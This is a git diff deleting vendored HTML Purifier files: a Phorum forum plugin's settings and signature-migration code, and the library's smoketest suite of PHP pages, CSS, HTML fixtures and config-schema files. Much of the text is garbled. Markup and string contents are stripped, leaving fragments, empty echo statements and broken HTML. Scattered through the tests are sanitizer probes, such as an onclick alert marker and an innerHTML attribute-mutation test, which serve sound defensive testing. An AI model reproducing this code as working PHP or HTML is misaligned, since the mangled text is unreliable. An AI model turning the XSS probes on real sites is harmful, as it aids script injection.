a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php deleted file mode 100644 index 0c795c85db..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/form.php +++ /dev/null @@ -1,95 +0,0 @@ -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); // this is the directory name that the Settings file lives in - - if (!empty($error)){ - echo "$error
    "; - } - - $frm->addbreak("Edit settings for the HTML Purifier module"); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'wysiwyg\']. - When checked, contents sent for edit are now purified and the - informative message is disabled. If your WYSIWYG editor is disabled for - admin edits, you can safely keep this unchecked.

    '); - $frm->addRow('Use WYSIWYG?', $frm->checkbox('wysiwyg', '1', '', $PHORUM['mod_htmlpurifier']['wysiwyg'])); - - $frm->addMessage('

    The box below sets $PHORUM[\'mod_htmlpurifier\'][\'suppress_message\'], - which removes the big how-to use - HTML Purifier message.

    '); - $frm->addRow('Suppress information?', $frm->checkbox('suppress_message', '1', '', $PHORUM['mod_htmlpurifier']['suppress_message'])); - - $frm->addMessage('

    Click on directive links to read what each option does - (links do not open in new windows).

    -

    For more flexibility (for instance, you want to edit the full - range of configuration directives), you can create a config.php - file in your mods/htmlpurifier/ directory. Doing so will, - however, make the web configuration interface unavailable.

    '); - - require_once 'HTMLPurifier/Printer/ConfigForm.php'; - $htmlpurifier_form = new HTMLPurifier_Printer_ConfigForm('config', 'http://htmlpurifier.org/live/configdoc/plain.html#%s'); - $htmlpurifier_form->setTextareaDimensions(23, 7); // widen a little, since we have space - - $frm->addMessage($htmlpurifier_form->render( - $config, $PHORUM['mod_htmlpurifier']['directives'], false)); - - $frm->addMessage("Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings."); - - $frm->addrow('Reset to defaults:', $frm->checkbox("reset", "1", "", false)); - - // hack to include extra styling - echo ''; - $js = $htmlpurifier_form->getJavaScript(); - echo ''; - - $frm->show(); -} - -function phorum_htmlpurifier_show_config_info() -{ - global $PHORUM; - - // update mod_htmlpurifier for housekeeping - phorum_htmlpurifier_commit_settings(); - - // politely tell user how to edit settings manually -?> -
    How to edit settings for HTML Purifier module
    -

    - A config.php file exists in your mods/htmlpurifier/ - directory. This file contains your custom configuration: in order to - change it, please navigate to that file and edit it accordingly. - You can also set $GLOBALS['PHORUM']['mod_htmlpurifier']['wysiwyg'] - or $GLOBALS['PHORUM']['mod_htmlpurifier']['suppress_message'] -

    -

    - To use the web interface, delete config.php (or rename it to - config.php.bak). -

    -

    - Warning: Changing HTML Purifier's configuration will invalidate - the cache. Expect to see a flurry of database activity after you change - any of these settings. -

    -hidden("module", "modsettings"); - $frm->hidden("mod", "htmlpurifier"); - $frm->hidden("migrate-sigs", "1"); - $frm->addbreak("Migrate user signatures to HTML"); - $frm->addMessage('This operation will migrate your users signatures - to HTML. This process is irreversible and must only be performed once. - Type in yes in the confirmation field to migrate.'); - if (!file_exists(dirname(__FILE__) . '/../migrate.php')) { - $frm->addMessage('Migration file does not exist, cannot migrate signatures. - Please check migrate.bbcode.php on how to create an appropriate file.'); - } else { - $frm->addrow('Confirm:', $frm->text_box("confirmation", "")); - } - $frm->show(); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php deleted file mode 100644 index 59838d17f3..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/migrate-sigs.php +++ /dev/null @@ -1,79 +0,0 @@ -$PHORUM["mod_htmlpurifier"])); - $offset = 1; - } elseif (!empty($_GET['migrate-sigs']) && $PHORUM['mod_htmlpurifier']['migrate-sigs']) { - $offset = (int) $_GET['migrate-sigs']; - } - return $offset; -} - -function phorum_htmlpurifier_migrate_sigs($offset) -{ - global $PHORUM; - - if(!$offset) return; // bail out quick if $offset == 0 - - // theoretically, we could get rid of this multi-request - // doo-hickery if safe mode is off - @set_time_limit(0); // attempt to let this run - $increment = $PHORUM['mod_htmlpurifier']['migrate-sigs-increment']; - - require_once(dirname(__FILE__) . '/../migrate.php'); - // migrate signatures - // do this in batches so we don't run out of time/space - $end = $offset + $increment; - $user_ids = array(); - for ($i = $offset; $i < $end; $i++) { - $user_ids[] = $i; - } - $userinfos = phorum_db_user_get_fields($user_ids, 'signature'); - foreach ($userinfos as $i => $user) { - if (empty($user['signature'])) continue; - $sig = $user['signature']; - // perform standard Phorum processing on the sig - $sig = str_replace(array("&","<",">"), array("&","<",">"), $sig); - $sig = preg_replace("/<((http|https|ftp):\/\/[a-z0-9;\/\?:@=\&\$\-_\.\+!*'\(\),~%]+?)>/i", "$1", $sig); - // prepare fake data to pass to migration function - $fake_data = array(array("author"=>"", "email"=>"", "subject"=>"", 'body' => $sig)); - list($fake_message) = phorum_htmlpurifier_migrate($fake_data); - $user['signature'] = $fake_message['body']; - if (!phorum_api_user_save($user)) { - exit('Error while saving user data'); - } - } - unset($userinfos); // free up memory - - // query for highest ID in database - $type = $PHORUM['DBCONFIG']['type']; - $sql = "select MAX(user_id) from {$PHORUM['user_table']}"; - $row = phorum_db_interact(DB_RETURN_ROW, $sql); - $top_id = (int) $row[0]; - - $offset += $increment; - if ($offset > $top_id) { // test for end condition - echo 'Migration finished'; - $PHORUM['mod_htmlpurifier']['migrate-sigs'] = false; - phorum_htmlpurifier_commit_settings(); - return true; - } - $host = $_SERVER['HTTP_HOST']; - $uri = rtrim(dirname($_SERVER['PHP_SELF']), '/\\'); - $extra = 'admin.php?module=modsettings&mod=htmlpurifier&migrate-sigs=' . $offset; - // relies on output buffering to work - header("Location: http://$host$uri/$extra"); - exit; - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php b/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php deleted file mode 100644 index 24359ead77..0000000000 --- a/vendor/ezyang/htmlpurifier/plugins/phorum/settings/save.php +++ /dev/null @@ -1,29 +0,0 @@ -mods/htmlpurifier/config.php already exists. To change - settings, edit that file. To use the web form, delete that file.
    "; - } else { - $config = phorum_htmlpurifier_get_config(true); - if (!isset($_POST['reset'])) $config->mergeArrayFromForm($_POST, 'config', $PHORUM['mod_htmlpurifier']['directives']); - $PHORUM['mod_htmlpurifier']['config'] = $config->getAll(); - } - $PHORUM['mod_htmlpurifier']['wysiwyg'] = !empty($_POST['wysiwyg']); - $PHORUM['mod_htmlpurifier']['suppress_message'] = !empty($_POST['suppress_message']); - if(!phorum_htmlpurifier_commit_settings()){ - $error="Database error while updating settings."; - } else { - echo "Settings Updated
    "; - } -} - -function phorum_htmlpurifier_commit_settings() -{ - global $PHORUM; - return phorum_db_update_settings(array("mod_htmlpurifier"=>$PHORUM["mod_htmlpurifier"])); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/all.php b/vendor/ezyang/htmlpurifier/smoketests/all.php deleted file mode 100644 index 0f3f33d55d..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/all.php +++ /dev/null @@ -1,44 +0,0 @@ -'; - -?> - - - HTML Purifier: All Smoketests - - - - -

    HTML Purifier: All Smoketests

    -
    - - - -
    - - -purify($html); - -echo ''; - -?> - - - - HTML Purifier All Config Form smoketest - - - - - - - -

    HTML Purifier All Config Form Smoketest

    - -

    This prints config form for everything we support.

    - - - - - -
    InputOutput
    - - - -
    - -render($config); -?> - -
    getAll(), true));
    -?>
    - - - - HTML Purifier Attribute Transformation Smoketest - - - - -

    HTML Purifier Attribute Transformation Smoketest

    -
    -
    - HTML -
    -
    - CSS -
    -
    -Requires PHP 5.

    '); - -$xml = simplexml_load_file('attrTransform.xml'); - -// attr transform enabled HTML Purifier -$config = HTMLPurifier_Config::createDefault(); -$config->set('HTML.Doctype', 'XHTML 1.0 Strict'); -$purifier = new HTMLPurifier($config); - -$title = isset($_GET['title']) ? $_GET['title'] : true; - -foreach ($xml->group as $group) { - echo '

    ' . $group['title'] . '

    '; - foreach ($group->sample as $sample) { - $sample = (string) $sample; -?> -
    -
    - -
    -
    - purify($sample); ?> -
    -
    - - - - - - -
  • menu
  • ]]>
    -
  • dir
  • ]]>
    -
    - - Red
    ]]> - #0000FF
    ]]> - Arial]]> - - - -2]]> - -1]]> - 0]]> - 1]]> - 2]]> - 3]]> - 4]]> - 5]]> - 6]]> - 7]]> - 8]]> - +1]]> - +2]]> - +3]]> - +4]]> - +5]]> - - - Centered]]> - - - Left

    ]]>
    - Center

    ]]>
    - Right

    ]]>
    -
    - - - - To - Be - - - Or - Not - - - To - Be - - - ]]> - - - Or - Not - - - To - Be - - - ]]> - - - ]]> - I]]> - - - - - x1 - x2 - - - ]]> - - - x1 - x2 - - - ]]> -
    ]]>
    -
    - - - - This wants to wrap - really badly yes it does - - - ]]> - - - This wants to wrap - really badly yes it does - - - ]]> - - - tall]]> - - - a]]> -
    o]]>
    -
    - - ]]> - ]]> - - - B
    A]]>
    - B
    A]]>
    - IB
    A]]>
    - IB
    A]]>
    -
    - - - Left - 1.11.2 - - ]]> - - Right - 1.11.2 - - ]]> - - Top - 1.11.2 - - ]]> - - Bottom - 1.11.2 - - ]]> - - - ]]> - ]]> - top]]> - bottom]]> - middle]]> - - - lefta]]> - centera]]> - righta]]> - - - left]]> - center]]> - right]]> - - -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
  • 1
  • 2
  • ]]>
    -
    - - - - - - diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic.php b/vendor/ezyang/htmlpurifier/smoketests/basic.php deleted file mode 100644 index 96d3c78d73..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/basic.php +++ /dev/null @@ -1,73 +0,0 @@ - true, - 'legacy' => true -); - -$page = isset($_GET['p']) ? $_GET['p'] : false; -if (!isset($allowed[$page])) $page = false; - -$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false; - -echo ''; -?> - - - - - - - - HTML Purifier Basic Smoketest - - - - - -
    : -Swap
    -Valid XHTML 1.0 Transitional -
    -set('Attr.EnableID', true); - $config->set('HTML.Strict', $strict); - $purifier = new HTMLPurifier($config); - echo $purifier->purify(file_get_contents("basic/$page.html")); -} else { - ?> -

    HTML Purifier Basic Smoketest Index

    -
      - $b) { - ?>
    - - - * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;} -#core-attributes #core-attributes-id, -#core-attributes .core-attributes-class, -#core-attributes div[title='tooltip'], -#core-attributes div[lang='en'], -#core-attributes div[onclick="alert('foo');"], -#module-text abbr, -#module-text acronym, -#module-text div blockquote, -#module-text blockquote[cite='http://www.example.com'], -#module-text br, -#module-text cite, -#module-text code, -#module-text dfn, -#module-text em, -#module-text h1, -#module-text h2, -#module-text h3, -#module-text h4, -#module-text h5, -#module-text h6, -#module-text kbd, -#module-text p, -#module-text pre, -#module-text span q, -#module-text q[cite='http://www.example.com'], -#module-text samp, -#module-text strong, -#module-text var, -#module-hypertext span a, -#module-hypertext a[accesskey='q'], -#module-hypertext a[charset='UTF-8'], -#module-hypertext a[href='http://www.example.com/'], -#module-hypertext a[hreflang='en'], -#module-hypertext a[rel='nofollow'], -#module-hypertext a[rev='index'], -#module-hypertext a[tabindex='1'], -#module-hypertext a[type='text/plain'], -#module-list dl, -#module-list ul, -#module-list ol, -#module-list li, -#module-list dd, -#module-list dt, -.insert-declarations-above - {background:#008000; margin:0; padding:0.2em;} -#module-text span, #module-text div {padding:0; margin:0.1em;} -#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html deleted file mode 100644 index 7995b78560..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html +++ /dev/null @@ -1,82 +0,0 @@ - - - - - HTML Purifier All Elements Smoketest - - - - - -

    HTML Purifier All Elements Smoketest

    - -

    This is the all elements smoke -test. It is divided by XHTML 1.1 style modules. Make sure -div, span and id are allowed, -otherwise there will be problems.

    - -

    Core attributes

    -
    -
    id
    -
    class
    -
    title
    -
    lang
    -
    xml:lang (green when lang also present)
    -
    style
    -
    onclick (and other event handlers)
    -
    - -

    Text module

    -
    - abbr - acronym -
    blockquote
    -
    blockquote@cite
    -
    - cite - code - dfn - em -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - kbd -

    p

    -
    pre
    - q - q@cite - samp - strong - var -
    - -

    Hypertext module

    - - -

    List module

    -
    -
    dl dt
    dl dd
    -
    1. ol li
    -
    • ul li
    -
    - - - - - diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css deleted file mode 100644 index 40f185aa2c..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css +++ /dev/null @@ -1,73 +0,0 @@ - -center, -dir[compact='compact'], -isindex[prompt='Foo'], -menu[compact='compact'], -s, -u, -strike, - -caption[align='bottom'], -div[align='center'], -dl[compact='compact'], - -h1[align='right'], -h2[align='right'], -h3[align='right'], -h4[align='right'], -h5[align='right'], -h6[align='right'], - -hr[align='right'], -hr[noshade='noshade'], -hr[width='50'], -hr[size='50'], - -img[align='right'], -img[border='3'], -img[hspace='5'], -img[vspace='5'], - -input[align='right'], -legend[align='center'], - -li[type='A'], -li[value='5'], - -ol[compact='compact'], -ol[start='3'], -ol[type='I'], - -p[align='right'], - -pre[width='50'], - -table[align='right'], -table[bgcolor='#0000FF'], - -tr[bgcolor='#0000FF'], - -td[bgcolor='#0000FF'], -td[height='50'], -td[nowrap='nowrap'], -td[width='200'], - -th[bgcolor='#0000FF'], -th[height='50'], -th[nowrap='nowrap'], -th[width='200'], - -ul[compact='compact'], -ul[type='square'], - -.insert-declarations-above - {background:#008000; color:#FFF; font-weight:bold;} - -font {background:#BFB;} -u {border:1px solid #000;} -hr {height:1em;} -hr[size='50'] {height:50px;} -img[border='3'] {border: 3px solid #000;} -li[type='a'], li[value='5'] {color:#DDD;} - -/* vim: et sw=4 sts=4 */ diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html deleted file mode 100644 index 3374e8fe12..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - HTML Purifier Legacy Smoketest Test Data - - - - - -

    HTML Purifier Legacy Smoketest Test Data

    - -

    This is the legacy smoketest.

    - -

    Elements

    - -
    -
    - - basefont: Green, Arial, size 6 text (IE-only) -
    - -
    center
    - - -
  • dir
  • -
    - -font: Green, Arial, size 6 text - -isindex: - - - -
  • menu
  • -
    - -s strike u -
    - -

    Attributes

    - -
    - - -
    *
    -
    -

    br@clear (asterisk is up)

    - - - - -
    caption@align
    Cell
    - -
    div@center
    - -
    -
    dl@compact
    -
    - -

    h1

    -

    h2

    -

    h3

    -

    h4

    -
    h5
    -
    h6
    - -hr@align -
    -hr@noshade -
    -hr@width -
    -hr@size -
    - -img@align | -img@border | -img@hspace | -img@vspace - - - -Legend - -
      -
    1. li@type (ensure that it's a capital A)
    2. -
    3. li@value
    4. -
    - -
    1. ol@compact
    -
    1. ol@start
    -
    1. ol@type
    - -

    p@align

    - -
    pre@width
    - - - -
    table@align
    -
    table@bgcolor
    - -
    tr@bgcolor
    - -
    td@bgcolor
    -
    td@height
    -
    td@nowrap
    -
    td@width
    - -
    th@bgcolor
    -
    th@height
    -
    th@nowrap
    -
    th@width
    - -
    • ul@compact
    -
    • ul@square
    - -
    - - - - - diff --git a/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php b/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php deleted file mode 100644 index 051bec49bb..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php +++ /dev/null @@ -1,14 +0,0 @@ -set('HTML.Doctype', 'HTML 4.01 Strict'); -$config->set('HTML.Allowed', 'b,a[href],br'); -$config->set('CSS.AllowTricky', true); -$config->set('URI.Disable', true); -$serial = $config->serialize(); - -$result = unserialize($serial); -$purifier = new HTMLPurifier($result); -echo htmlspecialchars($purifier->purify('Bold
    no formatting')); diff --git a/vendor/ezyang/htmlpurifier/smoketests/common.php b/vendor/ezyang/htmlpurifier/smoketests/common.php deleted file mode 100644 index 660253019a..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/common.php +++ /dev/null @@ -1,39 +0,0 @@ - $val) { - if (!is_array($val)) { - $array[$k] = stripslashes($val); - } else { - fix_magic_quotes($array[$k]); - } - } - } - - fix_magic_quotes($_GET); - fix_magic_quotes($_POST); - fix_magic_quotes($_COOKIE); - fix_magic_quotes($_REQUEST); - fix_magic_quotes($_ENV); - fix_magic_quotes($_SERVER); -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/configForm.php b/vendor/ezyang/htmlpurifier/smoketests/configForm.php deleted file mode 100644 index bb45556181..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/configForm.php +++ /dev/null @@ -1,77 +0,0 @@ -validate(); - -if (isset($_GET['doc'])) { - - // Hijack page generation to supply documentation - - if (file_exists('test-schema.html') && !isset($_GET['purge'])) { - echo file_get_contents('test-schema.html'); - exit; - } - - $style = 'plain'; - $configdoc_xml = 'test-schema.xml'; - - $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml(); - $xml_builder->openURI($configdoc_xml); - $xml_builder->build($interchange); - unset($xml_builder); // free handle - - $xslt = new ConfigDoc_HTMLXSLTProcessor(); - $xslt->importStylesheet("../configdoc/styles/$style.xsl"); - $xslt->setParameters(array( - 'css' => '../configdoc/styles/plain.css', - )); - $html = $xslt->transformToHTML($configdoc_xml); - - unlink('test-schema.xml'); - file_put_contents('test-schema.html', $html); - echo $html; - - exit; -} - -?> - - - HTML Purifier Config Form Smoketest - - - - - -

    HTML Purifier Config Form Smoketest

    -

    This file outputs the configuration form for every single type -of directive possible.

    -
    -build($interchange); - -$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema); -$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s'); -echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config)); - -?> -
    -
    -getAll(), true));
    -?>
    -
    - - -'; -?> - - - HTML Purifier data Scheme Smoketest - - - -

    HTML Purifier data Scheme Smoketest

    -'; - -$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data')); - -?> -
    purify($string); -?>
    - - - - -Error: CSSTidy library not -found, please install and configure test-settings.php -accordingly. - true, -)); - -$html = isset($_POST['html']) ? $_POST['html'] : ''; -$purified_html = $purifier->purify($html); - -?> - - - Extract Style Blocks - HTML Purifier Smoketest - -context->get('StyleBlocks') as $style) { -?> - - - -

    Extract Style Blocks

    -

    - This smoketest allows users to specify global style sheets for the - document, allowing for interesting techniques and compact markup - that wouldn't normally be possible, using the ExtractStyleBlocks filter. -

    -

    - User submitted content: -

    -
    - -
    -
    - - -
    - - - - - innerHTML smoketest - - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js deleted file mode 100644 index c7a1305297..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js +++ /dev/null @@ -1,51 +0,0 @@ -var alphabet = 'a!`=[]\\;\':"/<> &'; - -var out = document.getElementById('out'); -var testContainer = document.getElementById('testContainer'); - -function print(s) { - out.value += s + "\n"; -} - -function testImage() { - return testContainer.firstChild; -} - -function test(input) { - var count = 0; - var oldInput, newInput; - testContainer.innerHTML = ""; - testImage().setAttribute("alt", input); - print("------"); - print("Test input: " + input); - do { - oldInput = testImage().getAttribute("alt"); - var intermediate = testContainer.innerHTML; - print("Render: " + intermediate); - testContainer.innerHTML = intermediate; - if (testImage() == null) { - print("Image disappeared..."); - break; - } - newInput = testImage().getAttribute("alt"); - print("New value: " + newInput); - count++; - } while (count < 5 && newInput != oldInput); - if (count == 5) { - print("Failed to achieve fixpoint"); - } - testContainer.innerHTML = ""; -} - -print("Go!"); - -test("`` "); -test("'' "); - -for (var i = 0; i < alphabet.length; i++) { - for (var j = 0; j < alphabet.length; j++) { - test(alphabet.charAt(i) + alphabet.charAt(j)); - } -} - -// document.getElementById('out').textContent = alphabet; diff --git a/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php b/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php deleted file mode 100644 index 4064b085ba..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php +++ /dev/null @@ -1,72 +0,0 @@ -'; -?> - - - HTML Purifier Preserve YouTube Smoketest - - - -

    HTML Purifier Preserve YouTube Smoketest

    - - - - - - - - - -'; - -$regular_purifier = new HTMLPurifier(); - -$safeobject_purifier = new HTMLPurifier(array( - 'HTML.SafeObject' => true, - 'Output.FlashCompat' => true, -)); - -?> -

    Unpurified

    -

    Click here to see the unpurified version (breaks validation).

    -
    - -

    Without YouTube exception

    -
    purify($string); -?>
    - -

    With SafeObject exception and flash compatibility

    -
    purify($string); -?>
    - - - -prepareGenerator($gen_config); -$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition(); -$printer_css_definition->prepareGenerator($gen_config); - -$printer_config_form = new HTMLPurifier_Printer_ConfigForm( - 'config', - 'http://htmlpurifier.org/live/configdoc/plain.html#%s' -); - -echo ''; - -?> - - - - HTML Purifier Printer Smoketest - - - - - - - -

    HTML Purifier Printer Smoketest

    - -

    HTML Purifier claims to have a robust yet permissive whitelist: this -page will allow you to see precisely what HTML Purifier's internal -whitelist is. You can -also twiddle with the configuration settings to see how a directive -influences the internal workings of the definition objects.

    - -

    Modify configuration

    - -

    You can specify an array by typing in a comma-separated -list of items, HTML Purifier will take care of the rest (including -transformation into a real array list or a lookup table).

    - -
    -render($config, 'HTML'); -?> -

    * Some configuration directives make a distinction between an empty -variable and a null variable. A whitelist, for example, will take an -empty array as meaning no allowed elements, while checking -Null/Disabled will mean that user whitelisting functionality is disabled.

    -
    - -

    Definitions

    - -
    -
    Parent of Fragment
    -
    HTML that HTML Purifier does not live in a void: when it's - output, it has to be placed in another element by means of - something like <element> <?php echo $html - ?> </element>. The parent in this example - is element.
    -
    Strict mode
    -
    Whether or not HTML Purifier's output is Transitional or - Strict compliant. Non-strict mode still actually a little strict - and converts many deprecated elements.
    -
    #PCDATA
    -
    Literally Parsed Character Data, it is regular - text. Tags like ul don't allow text in them, so - #PCDATA is missing.
    -
    Tag transform
    -
    A tag transform will change one tag to another. Example: font - turns into a span tag with appropriate CSS.
    -
    Attr Transform
    -
    An attribute transform changes a group of attributes based on one - another. Currently, only lang and xml:lang - use this hook, to synchronize each other's values. Pre/Post indicates - whether or not the transform is done before/after validation.
    -
    Excludes
    -
    Tags that an element excludes are excluded for all descendants of - that element, and not just the children of them.
    -
    Name(Param1, Param2)
    -
    Represents an internal data-structure. You'll have to check out - the corresponding classes in HTML Purifier to find out more.
    -
    - -

    HTMLDefinition

    -render($config) ?> -

    CSSDefinition

    -render($config) ?> - - - 'val1', 'key2' => 'val2') -DESCRIPTION: The hash type is an associative array of string keys and string values. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt deleted file mode 100644 index ec442b1904..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.int.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.int -TYPE: int -DEFAULT: 23 -DESCRIPTION: The int type is an signed integer. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt deleted file mode 100644 index adcfcad329..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.istring.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.istring -TYPE: istring -DEFAULT: 'case insensitive' -DESCRIPTION: The istring type is short (no newlines), must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt deleted file mode 100644 index eddd915dbc..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.itext.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.itext -TYPE: itext -DEFAULT: "case\ninsensitive\nand\npossibly\nquite\nlong" -DESCRIPTION: The text type has newlines, must be ASCII and is case-insensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt deleted file mode 100644 index 3e05668200..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.list.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.list -TYPE: list -DEFAULT: array('item1', 'item2') -DESCRIPTION: The list type is a numerically indexed array of strings. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt deleted file mode 100644 index 634190ee8f..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.lookup.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.lookup -TYPE: lookup -DEFAULT: array('key1' => true, 'key2' => true) -DESCRIPTION: The lookup type acts just like list, except its elements are unique and are checked with isset($var[$key]). ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt deleted file mode 100644 index a67ca8b0ee..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.mixed.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.mixed -TYPE: mixed -DEFAULT: new stdClass() -DESCRIPTION: The mixed type allows any type, and is not form-editable. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt deleted file mode 100644 index c26a661f96..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullbool.txt +++ /dev/null @@ -1,7 +0,0 @@ -Type.nullbool -TYPE: bool/null -DEFAULT: null ---DESCRIPTION-- -Null booleans need to be treated a little specially. See %Type.nullstring -for information on what the null flag does. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt deleted file mode 100644 index 4db33235df..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.nullstring.txt +++ /dev/null @@ -1,9 +0,0 @@ -Type.nullstring -TYPE: string/null -DEFAULT: null ---DESCRIPTION-- -The null type is not a type, but a flag that can be added to any type -making null a valid value for that entry. It's useful for saying, "Let -the software pick the value for me," or "Don't use this element" when -false has a special meaning. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt deleted file mode 100644 index 4cde409073..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.string.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.string -TYPE: string -DEFAULT: 'Case sensitive' -DESCRIPTION: The string type is short (no newlines) and case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt deleted file mode 100644 index 5fca4d567c..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.text.txt +++ /dev/null @@ -1,5 +0,0 @@ -Type.text -TYPE: text -DEFAULT: "Case sensitive\nand\npossibly\nquite long..." -DESCRIPTION: The text type has newlines and is case-sensitive. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt b/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt deleted file mode 100644 index 9720b4fec0..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/Type.txt +++ /dev/null @@ -1,3 +0,0 @@ -Type -DESCRIPTION: Directives demonstration the variable types ConfigSchema supports. ---# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini b/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini deleted file mode 100644 index c8c98313bc..0000000000 --- a/vendor/ezyang/htmlpurifier/smoketests/test-schema/info.ini +++ /dev/null @@ -1,3 +0,0 @@ -name = "Test Schema" - -; vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php b/vendor/ezyang/htmlpurifier/smoketests/variableWidthAttack.php deleted file mode 100644 index 4e2c4b4772..0000000000 --- 